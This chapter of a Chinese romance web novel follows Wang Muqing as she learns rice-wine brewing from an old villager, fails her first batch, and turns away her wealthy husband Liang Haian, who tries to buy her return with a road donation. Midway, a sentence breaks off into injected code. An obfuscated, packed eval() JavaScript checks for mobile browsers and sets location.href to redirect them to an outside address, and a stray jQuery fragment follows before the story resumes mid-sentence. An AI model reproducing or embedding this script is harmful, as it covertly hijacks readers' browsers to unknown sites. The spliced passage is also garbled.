第四章：酸涩初酿
王慕青连续三天早晨五点准时出现在三叔公的院子里，准时得院子里的公鸡都困惑了——这女人抢了它报晓的活儿。
第一天，三叔公让她洗缸。十几口大缸一字排开，阵仗像兵马俑。老头儿指挥：“刷三遍，清水刷两遍，白酒擦一遍——白酒我自己酿的，别偷喝。”
王慕青蹲着刷到怀疑人生，腰酸得像被大象踩过。手指被粗糙的缸沿磨得发红，她低头看看手，自嘲：“上辈子做美甲的钱，够买这些缸了。”
第二天，学选米。三叔公从麻袋里抓出两把糯米，摊在手心像展示珠宝：“看好了，颗粒要饱满，颜色要玉白。有裂纹的不要，发黄的不要，长得丑的也不要。”
王慕青坐在小板凳上，一颗颗挑拣，挑一上午才挑出小半盆。期间发现三颗米粒长得特别像梁海安皱眉头的样子，她毫不犹豫扔进了废料桶。
第三天，三叔公终于松口教酿第一缸酒，表情严肃得像在传授武林秘籍。
“泡米八小时，水要没过米三指。”老头儿站在灶台边，背着手，“火候要稳，蒸四十分钟——中间不准开盖偷看，憋不住就去外面数蚂蚁。”
王慕青严格执行。灶膛里柴火噼啪响，蒸汽从木桶边缘冒出，带着糯米的香气。她蹲在灶前盯着火，额头上汗珠滚下来，滴进柴灰里发出“滋”的轻响。
“时间到。”三叔公掐着怀表。
王慕青揭盖，白雾扑面。蒸熟的糯米晶莹剔透，粒粒分明，看着就让人想偷吃一口。
“还行。”三叔公吝啬地给出评价，“晾到温热，手感要不烫不凉——比前任的心稍微暖一点就行。”
王慕青差点笑出声。这老头儿，还挺懂。
酒曲是三叔公自己做的，用蓝布包着，闻起来有股复杂的发酵香。王慕青按照比例把酒曲碾碎，均匀撒在糯米上，然后用手慢慢拌匀——动作要轻柔，像在给婴儿按摩。
拌好的米装进缸里，中间挖出个酒窝，盖上竹编盖子，最后用棉被把缸裹得严严实实，远看像颗巨型粽子。
“好了。”三叔公拍拍手，“剩下的交给老天爷。明天这个时候来看——记住，心急吃不了热豆腐，也喝不了好甜酒。”
王慕青看着那口裹棉被的缸，心里涌起奇异的满足感。这是她亲手做的第一缸酒，像个等待破壳的蛋。
***
从三叔公家出来已是下午。陈远等在竹林外，手里提着塑料袋，蹲在地上数蚂蚁——真数。
“给你带的午饭。”他把袋子递过来，“我妈做的糍粑，还是热的。我偷吃了俩，她没发现。”
王慕青接过来咬了一口，糯米香混着花生碎，幸福感直冲脑门。两人坐在皮卡车引擎盖上吃糍粑，远处青山如黛，近处鸡飞狗跳。
“你那前夫还在镇上。”陈远突然说，语气像在播报天气预报，“住在刘婶的旅馆里，今早把刘婶家马桶堵了——据说是扔了太多纸巾，刘婶说要收他五十块通马桶费。”
王慕青咀嚼的动作顿住。
“他还去镇上的小卖部，说要买矿泉水。”陈远继续八卦，“老板娘拿出娃哈哈，他问有没有依云。老板娘说‘啥云？我们这儿只有白云和乌云’，他脸绿得跟油菜叶似的。”
王慕青想象那画面，糍粑差点喷出来。
“他还挺能忍。”陈远看着她，“慕青，你们到底啥情况？以前同学聚会，你从来不说结婚了，更没说嫁给这么个……呃，人物。”
王慕青咽下糍粑，擦擦手：“没啥情况。就是眼瞎了三年，现在治好了。”
“那他这是……”
“病情反复。”王慕青跳下车，“放心，他待不了几天。这里没有24小时热水，没有米其林外卖，没有助理帮他订会议室。他很快就会崩溃。”
但她低估了梁总裁的忍耐力。
***
第四天早晨，王慕青怀着朝圣的心情去看她的酒缸。掀开盖子，酒窝里应该出酒了——可是没有，一滴都没有。
她凑近闻了闻，只有淡淡的酸味，像初恋失败后的心情。
“三叔公！”她喊。
老头儿慢悠悠走过来，看了一眼：“酸了。”
“怎么会……”王慕青愣住，“我每一步都按您教的……”
“温度没控好。”三叔公伸手摸了摸缸壁，“夜里降温，棉被不够厚。或者拌酒曲时温度高了，把酒曲烫死了——酒曲这玩意儿娇气，比城里姑娘还难伺候。”
王慕青看着那一缸发酸的糯米，心里像被塞了团湿棉花。她花了三天时间，那么认真，结果败给了一度温差。
“失败了好。”三叔公突然说。
“好？”
“是啊。”老头儿在屋檐下坐下，点起旱烟，“才知道敬畏。酿酒这事，你越小心它越成，你越嘚瑟它越垮。跟谈恋爱一个道理——太当回事不行，太不当回事更不行。”
他吐口烟圈：“我以前学酿酒，头一年没酿成一缸好的。我师父说，这酒啊，有脾气。你得敬着它，哄着它，它才给你好脸色。”
王慕青蹲在缸前，看着那些发酸的米。酸味越来越浓，像是在嘲笑她的盲目自信。
“那这缸……”
“喂猪。”三叔公站起来，“猪不挑食，酸的照吃。”
王慕青点点头，把缸里的米倒进桶里，提到院子角落的猪圈。两头小黑猪欢快冲过来，吃得哼哼唧唧，尾巴摇得像螺旋桨。
“你看，”三叔公说，“在这儿，没有东西会被浪费。失败了也能喂猪，猪肥了能卖钱，钱能买米，米能酿酒——循环，懂吗？”
王慕青重重点头。她重新洗缸，重新选米，重新开始。
这一次，她小心得像在拆炸弹。泡米时定了三个闹钟，蒸米时守在灶前一秒不敢离，拌酒曲前用温度计测了五遍。装缸后，她把自己那床厚棉被也抱来了，给酒缸裹成俄罗斯套娃。
三叔公看着，没说话，但缺牙的嘴咧了咧。
中午王慕青没回家，在院子里啃了两个冷馒头。下午继续劈柴挑水——这是每日必修课，三叔公说这叫“磨练心性”，王慕青觉得这叫“磨练肌肉”。
傍晚离开时，老头儿叫住她：“明天晚点来，七点就行。”
“为啥？”
“酒在夜里发酵最活跃，你让它安安静静的，别老掀被子看。”三叔公说，“酿酒跟养孩子一样，不能太宠也不能太冷——当然我没养过孩子，我养的都是猪。”
王慕青似懂非懂地点头。
***
回到镇上时天已黑透。母亲在门口张望，见她回来才松口气：“怎么这么晚？饭都热三遍了，再热就成锅巴了。”
“在三叔公那儿多待了会儿。”王慕青洗了手坐下，端起碗就扒饭。
饭吃到一半，有人敲门。敲得很克制，三下，停顿，再三下——标准的商务敲门法。
母亲去开门，愣住：“你是……”
“阿姨您好，我是梁海安。”门外声音传来，顿了顿，“慕青的丈夫。”
王慕青筷子停在半空。
母亲回头看她，眼神写着“这谁啊长得人模狗样但咋这么憔悴”。
“让他进来吧。”王慕青放下碗。
梁海安走进来。三天不见，他憔悴得像是去荒野求生了一趟。白衬衫袖口沾了灰，下巴冒出的胡茬让他看起来老了五岁，眼里红血丝密布得像地图。但他还是努力挺直背，只是在这个堆满杂物的农家客厅里，显得格外突兀——像孔雀进了养鸡场。
“阿姨，我想跟慕青单独谈谈。”他说，语气还算礼貌。
母亲看看王慕青，王慕青点头。母亲端着碗进了厨房，门留了条缝——标准的吃瓜群众姿势。
“你还要在这里待多久？”梁海安开门见山。
“这是我的家，我想待多久待多久。”王慕青平静得像在说今天天气。
“家？”梁海安环顾四周，老旧的木质家具，掉漆的墙面，21寸的老式电视机——外壳还是显像管的，“王慕青，你清醒一点。你在江城有二百平的大平层，有保姆有司机，你非要待在这种地方？”
“因为这里真实。”王慕青看着他，“梁海安，你住过没有中央空调的房子吗？你知道夏天怎么摇蒲扇才能把蚊子扇晕吗？你吃过刚从地里摘下来、虫眼比你的心眼还少的蔬菜吗？”
梁海安皱眉：“这些都是可以改变的。如果你喜欢乡村，我们可以买栋别墅，在郊区……”
“我不需要你买。”王慕青打断他，“我需要的是我自己挣来的生活。哪怕住漏雨的老房子，吃自己种的菜，喝自己酿的酒——酸了我也认。”
“酿酒？”梁海安像是听到了天方夜谭，“你真的在学那个？王慕青，你知道酿酒的利润率吗？你知道规模化生产需要多少投资吗？你知道现在酒类市场的竞争多激烈吗？”
他一连串的问题，每个都带着居高临下的质疑，像在开项目评审会。
王慕青忽然觉得很累。不是身体累，是心累——跟上辈子等他回家等到半夜时一样累。
“我不需要知道那些。”她说，“我现在只需要知道，怎么让一缸米变成酒。至于其他的，慢慢来——反正我有的是时间，不像您，时间就是金钱。”
梁海安盯着她看了很久，最后说：“我今天去了趟县城，见了你们这里的副县长。”
王慕青一愣。
“我捐了五十万给青塘镇修路。”梁海安说，语气像在陈述一个商业决策，“条件是你跟我回去。”
厨房里传来碗碟碰撞声——母亲大概没端稳。
王慕青慢慢站起来，走到梁海安面前。她比他矮一个头，但此刻她的眼神让他下意识后退了半步。
“梁海安，”她的声音很轻，但每个字都像钉子，“你在羞辱我，也在羞辱我的家乡。”
“我不是……”
“你就是。”王慕青说，“你觉得钱能解决一切问题。五十万就能买条路，也能买我回去。你觉得这里的一切都廉价——包括我。”
她深吸一口气，胸口起伏：“我现在明确告诉你：我不会回去。你的五十万，爱捐不捐。但如果你敢用这个要挟任何人，我会让全镇的人都知道，海安集团的董事长是个用钱砸人的土豪——还是堵了人家马桶不赔钱的那种。”
梁海安的脸白了又红，红了又白，像霓虹灯。
“还有，”王慕青打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177359|196920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开门，“请你离开。以后不要来我家，也不要去找镇上任何人。我们之间的事，不要牵扯别人——他们已经很忙了，要种地要养猪，没空陪你演偶像剧。”
梁海安站着不动，像尊雕塑。
“要我喊人吗？”王慕青问，“这个时间，邻居们都在家看电视，一喊能出来十几个——都是干农活的好手，扛你上车没问题。”
梁海安终于转身，走了出去。门在他身后关上，发出沉闷的响声。
王慕青靠在门上，听见外面汽车发动的声音，轮胎碾过碎石，渐行渐远。
母亲从厨房出来，手里还拿着抹布：“青青……”
“妈，我没事。”王慕青笑了笑，笑容有点勉强，“我去洗澡了，一身酒曲味。”
热水从淋浴头洒下来，王慕青蹲在地上，抱着膝盖。眼泪混在水里，分不清哪些是水哪些是泪。
她还是难过的。不是为他，是为那个曾经那么爱他的自己——傻得让人心疼，也气得让人跺脚。
***
洗完澡出来，手机有两条新消息。
一条是陈远：“明天镇上赶集，三叔公让我告诉你，可以去买点新糯米试试不同品种——他说‘让她别总用一种米，跟别总吊死在一棵树上一个道理’。”
另一条是个陌生号码：“路我捐了，不是要挟。只是想为你做点什么。对不起。”
王慕青盯着第二条看了三秒，删掉。
她回复陈远：“好，明天几点？顺便问问三叔公，他是不是年轻时感情受过伤，怎么每句话都像在搞情感讲座。”
然后打开电脑，开始整理这几天的酿酒笔记。灯光下，她的侧影认真而专注，手指在键盘上敲击，发出规律的嗒嗒声。
文档标题：甜酒酿造常见失败案例及解决方案（第一版）
第一条就写着：温度控制失败——如同感情，过热或过冷都会变质。
窗外的虫鸣声此起彼伏，远处传来狗叫声。这是一个普通得不能再普通的乡村夜晚。
但对王慕青来说，这是新生的夜晚。酸了一缸酒，但心里某块地方，开始发酵出不一样的甜。
***
镇子另一头的旅馆里，梁海安躺在床上，盯着天花板上的霉斑——那些斑纹长得像世界地图，他看了三天，已经能背出“非洲”的轮廓了。
房间里有一股潮湿的霉味，床单粗糙得能磨破皮，卫生间的水龙头一直在滴水，滴答滴答，像在给他读秒。
这三天是他三十年来过得最离谱的三天。但他不想走。
今天下午，他在镇上小餐馆遇到陈远。那个穿着迷彩服、裤腿沾着泥点的男人，用看外星人的眼神看他。
“你到底想对她做什么？”陈远问，手里还端着碗面条，吃得呼啦响。
“她是我的妻子。”梁海安说，语气自己都觉得底气不足。
“可她不想做你的妻子了。”陈远说得直白，嗦了口面，“梁先生，我不知道你们之间发生了什么。但慕青回来这几天，每天五点起床，去三叔公那儿学到天黑，手上磨得全是泡。我认识她这么多年，从没见过她这样——以前她连矿泉水瓶盖都拧不开。”
梁海安沉默。他想起以前，王慕青确实总是让他拧瓶盖。他那时觉得烦，现在想起，她当时看他的眼神，亮晶晶的。
“如果你真的为她好，”陈远把最后一口面吃完，抹抹嘴，“要么真心实意支持她，要么离她远点。别拿钱砸人，这儿的人不吃这套——我们这儿最值钱的是自家酿的酒，不是钞票。”
陈远走了，留下梁海安一个人站在餐馆门口。夕阳西下，整个镇子笼罩在金色的光里。几个孩子笑着跑过，老人坐在门口聊天，炊烟从瓦屋顶升起，空气里有柴火和饭菜的香气。
这个他曾经嗤之以鼻的地方，突然变得陌生又鲜活。
他拿出手机，给助理发了条消息：“把青塘镇的修路捐款办妥，不要提任何条件。另外，打五万块到我卡上——现金。”
然后他翻出手机相册，找到那张王慕青偷拍他睡觉的照片。照片里的他皱着眉头，她在一旁画了个笑脸，还写了行小字：“海安睡觉也好看。”
他突然想起，结婚三周年那天，她做了一桌菜等他到半夜。他回来时她已经趴在桌上睡着了，手里还拿着没点着的蜡烛，嘴角有浅浅的笑。
他当时把她抱到床上，她迷迷糊糊地说：“海安，你回来了……菜在锅里热着……我放了香菇，你说过喜欢的……”
他没吃，洗了澡直接睡了。第二天起来，那桌菜还在，已经冷了。
梁海安关掉手机，闭上眼睛。
枕头上有股陌生的味道，不是家里那种高级洗衣液的清香，而是阳光、尘土和廉价肥皂混合的气味。
窗外的狗突然狂吠起来，接着是鸡飞狗跳的声音，有人大喊：“谁家的牛跑出来了！撞倒我家晾衣杆了！”
梁海安睁开眼睛，看着天花板上那片“非洲”。
他失眠了。
但这次不是因为思考并购案，而是因为想不通——王慕青怎么会宁愿在这里喂猪劈柴，也不愿回到他身边。
这个问题的难度，比他做过的任何商业决策都大。